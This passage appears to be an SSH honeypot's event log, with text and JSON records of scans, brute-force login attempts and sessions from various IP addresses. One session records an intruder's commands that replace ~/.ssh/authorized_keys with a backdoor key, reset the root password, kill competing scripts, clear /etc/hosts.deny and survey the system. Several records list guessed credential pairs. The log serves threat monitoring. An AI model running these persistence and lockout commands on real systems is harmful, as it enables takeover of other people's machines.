    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-07-07 03:35:46.656602 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: edc13ef26df1

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "edc13ef26df1",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T03:35:46.656602Z",
  "end_time": "2026-07-07T03:35:47.839119Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

185.242.3.195

2026-07-07 03:34:16.915114 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian

Record ID: 9650c55c46b5

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "9650c55c46b5",
  "src_ip": "185.242.3.195",
  "start_time": "2026-07-07T03:34:16.915114Z",
  "end_time": "2026-07-07T03:34:18.937398Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "debian",
      "pass": "121212"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

186.22.19.183

2026-07-07 03:10:01.480619 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / tigger123

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:bb45AlJfcmdV"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: e7ec005811d8

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 10.6s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "e7ec005811d8",
  "src_ip": "186.22.19.183",
  "start_time": "2026-07-07T03:10:01.480619Z",
  "end_time": "2026-07-07T03:10:12.037454Z",
  "duration": "10.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "tigger123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:bb45AlJfcmdV\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:bb45AlJfcmdV\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-07-07 02:46:39.659676 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 8ff9e8b5a64e

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "8ff9e8b5a64e",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T02:46:39.659676Z",
  "end_time": "2026-07-07T02:46:40.825287Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

193.46.255.146

2026-07-07 02:43:47.181403 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7b732e49306d

Client Version: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8

Engagement Duration: 10.2s

HASSH Fingerprint: 9052c4ab4164c78256e71143dcfc7eac

{
  "id": "7b732e49306d",
  "src_ip": "193.46.255.146",
  "start_time": "2026-07-07T02:43:47.181403Z",
  "end_time": "2026-07-07T02:43:57.392420Z",
  "duration": "10.2",
  "version": "SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8",
  "hassh": "9052c4ab4164c78256e71143dcfc7eac",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:21.695591 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cc88a8664d2a

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.7s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "cc88a8664d2a",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:21.695591Z",
  "end_time": "2026-07-07T02:24:22.361039Z",
  "duration": "0.7",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:21.214506 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 29e8806769d7

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "29e8806769d7",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:21.214506Z",
  "end_time": "2026-07-07T02:24:21.540845Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:20.737621 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 297c5e1be577

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "297c5e1be577",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:20.737621Z",
  "end_time": "2026-07-07T02:24:21.061212Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:19.912460 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8913ae16288b

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.7s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "8913ae16288b",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:19.912460Z",
  "end_time": "2026-07-07T02:24:20.600219Z",
  "duration": "0.7",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:19.128648 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: df3cf4889d55

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.6s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "df3cf4889d55",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:19.128648Z",
  "end_time": "2026-07-07T02:24:19.773739Z",
  "duration": "0.6",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:18.530377 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a1ca535481d4

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "a1ca535481d4",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:18.530377Z",
  "end_time": "2026-07-07T02:24:18.875050Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:17.862026 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2ec368ff928c

Client Version: SSH-1.5-Nmap-SSH1-Hostkey

Engagement Duration: 0.2s

{
  "id": "2ec368ff928c",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:17.862026Z",
  "end_time": "2026-07-07T02:24:18.097924Z",
  "duration": "0.2",
  "version": "SSH-1.5-Nmap-SSH1-Hostkey",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.77.217.120

2026-07-07 02:24:09.516253 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f771cd472706

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "f771cd472706",
  "src_ip": "34.77.217.120",
  "start_time": "2026-07-07T02:24:09.516253Z",
  "end_time": "2026-07-07T02:24:09.657709Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.156.140.179

2026-07-07 02:22:03.236513 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: 764c38d117ac

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: dde267e50f82fcc16a7e1e7b59b8af71

{
  "id": "764c38d117ac",
  "src_ip": "34.156.140.179",
  "start_time": "2026-07-07T02:22:03.236513Z",
  "end_time": "2026-07-07T02:22:04.601612Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

34.156.140.179

2026-07-07 02:22:02.606257 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b7a789d24ec4

Client Version: SSH-2.0-Fingerprintx-SSH2

Engagement Duration: 6.9s

HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a

{
  "id": "b7a789d24ec4",
  "src_ip": "34.156.140.179",
  "start_time": "2026-07-07T02:22:02.606257Z",
  "end_time": "2026-07-07T02:22:09.512613Z",
  "duration": "6.9",
  "version": "SSH-2.0-Fingerprintx-SSH2",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

172.188.89.41

2026-07-07 02:14:21.147691 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qwest

Record ID: 79897cc76e45

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "79897cc76e45",
  "src_ip": "172.188.89.41",
  "start_time": "2026-07-07T02:14:21.147691Z",
  "end_time": "2026-07-07T02:14:23.089986Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "qwest",
      "pass": "Qwest$2020"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

172.188.89.41

2026-07-07 02:14:19.599623 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / Qwest$2020

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a

Record ID: 15e9b7c9552d

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "15e9b7c9552d",
  "src_ip": "172.188.89.41",
  "start_time": "2026-07-07T02:14:19.599623Z",
  "end_time": "2026-07-07T02:14:20.967091Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "Qwest$2020"
  },
  "commands": [
    "uname -a"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

172.188.89.41

2026-07-07 02:14:18.062439 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Qwest$2020

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a

Record ID: 42ab576b4ac0

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "42ab576b4ac0",
  "src_ip": "172.188.89.41",
  "start_time": "2026-07-07T02:14:18.062439Z",
  "end_time": "2026-07-07T02:14:19.419651Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Qwest$2020"
  },
  "commands": [
    "uname -a"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

192.168.0.1

2026-07-07 02:03:14.378364 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cc8d38776681

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "cc8d38776681",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-07T02:03:14.378364Z",
  "end_time": "2026-07-07T02:03:14.388850Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

185.242.3.195

2026-07-07 02:03:11.414137 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / admin1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo OK

Record ID: 112d72dfddc7

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "112d72dfddc7",
  "src_ip": "185.242.3.195",
  "start_time": "2026-07-07T02:03:11.414137Z",
  "end_time": "2026-07-07T02:03:12.589219Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "admin1"
  },
  "commands": [
    "echo OK"
  ],
  "detailed_commands": [
    {
      "cmd": "echo OK",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

65.49.1.162

2026-07-07 01:57:24.449808 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8e1a54060485

Client Version: {w\x9d\x87D\x92\xe8\xc35\x856b\x8f\x8e\xeaਢ\xea\xf3\xff\xd9\xd0-N\xa4H\x91\xdcv\x94?\xc0/\xc0+\xc0\xc0\xc0\xc0 \xc0\xc0

Engagement Duration: 0.0s

{
  "id": "8e1a54060485",
  "src_ip": "65.49.1.162",
  "start_time": "2026-07-07T01:57:24.449808Z",
  "end_time": "2026-07-07T01:57:24.455836Z",
  "duration": "0.0",
  "version": "\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\x9d\\x87D\\x92\\xe8\\xc35\b\\x856b\\x8f\\x8e\\xea\u0a22\\xea\\xf3\\xff\\xd9\\xd0-N\\xa4H\u001b\\x91\\xdcv\\x94?\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

115.190.166.122

2026-07-07 01:51:11.637438 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b76b0ec83ff2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b76b0ec83ff2",
  "src_ip": "115.190.166.122",
  "start_time": "2026-07-07T01:51:11.637438Z",
  "end_time": "2026-07-07T01:53:11.741899Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-07 01:48:05.356131 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 59290ba5ba01

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "59290ba5ba01",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-07T01:48:05.356131Z",
  "end_time": "2026-07-07T01:48:06.514974Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

115.190.166.122

2026-07-07 01:45:48.943088 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: docker

Record ID: 72ffa9b15a03

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "72ffa9b15a03",
  "src_ip": "115.190.166.122",
  "start_time": "2026-07-07T01:45:48.943088Z",
  "end_time": "2026-07-07T01:45:51.952093Z",
  "duration": "3.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "docker",
      "pass": "tcuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

82.39.86.153

2026-07-07 01:45:39.520725 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: docker

Record ID: b73d8fead05f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b73d8fead05f",
  "src_ip": "82.39.86.153",
  "start_time": "2026-07-07T01:45:39.520725Z",
  "end_time": "2026-07-07T01:45:41.493469Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "docker",
      "pass": "tcuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

82.39.86.153

2026-07-07 01:43:17.744004 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8e55e398fb22

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8e55e398fb22",
  "src_ip": "82.39.86.153",
  "start_time": "2026-07-07T01:43:17.744004Z",
  "end_time": "2026-07-07T01:43:18.655748Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

82.39.86.153

2026-07-07 01:43:15.650733 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: de51772162fd

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "de51772162fd",
  "src_ip": "82.39.86.153",
  "start_time": "2026-07-07T01:43:15.650733Z",
  "end_time": "2026-07-07T01:43:17.595510Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

115.190.166.122

2026-07-07 01:43:08.209488 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5876b1c9c40a

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5876b1c9c40a",
  "src_ip": "115.190.166.122",
  "start_time": "2026-07-07T01:43:08.209488Z",
  "end_time": "2026-07-07T01:45:08.215035Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

82.39.86.153

2026-07-07 01:43:06.506889 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Abc1234567890

Remote entity achieved interactive shell state. Command sequence (2 executed):

